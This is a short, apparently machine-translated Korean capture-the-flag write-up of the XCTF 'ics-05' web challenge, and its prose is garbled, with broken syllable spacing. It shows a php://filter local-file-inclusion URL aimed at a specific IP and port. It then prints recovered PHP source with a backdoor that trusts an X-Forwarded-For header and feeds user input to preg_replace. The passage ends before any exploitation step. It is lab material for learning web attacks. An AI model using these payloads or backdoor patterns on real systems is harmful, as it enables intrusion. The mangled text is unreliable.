세계 WEB 진급 의 ics-05 를 공 방

세계 WEB 진급 의 ics-05 를 공 방
설명
체조
답1.설명
난이도 계수:3 성 제목 출처:XCTF 4th-CyberEarth 제목 설명:다른 파괴 자 들 은 작업 제어 클 라 우 드 관리 시스템 설비 유지보수 센터 의 뒷문 침입 시스템 제목 장면 을 이용 합 니 다.클릭 하여 온라인 장면 제목 첨부 파일 을 가 져 옵 니 다.먼저 장면 을 열지 않 고 시스템 설비 보호 센터 에 들 어 갑 니 다.아무것도 발견 하지 못 했 습 니 다.관련 구멍 하 나 를 찾 아 소스 코드 를 봅 니 다.
2.실습
쓰다http://111.198.29.45:44908/index.php/?page=php://filter/read=convert.base64-encode/resource=index.php 원본 코드 구멍 보기,base 64 인 코딩 코드 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  base64           ：
//            ,        ，        
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "
Welcome My Admin ! 
";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
}
?>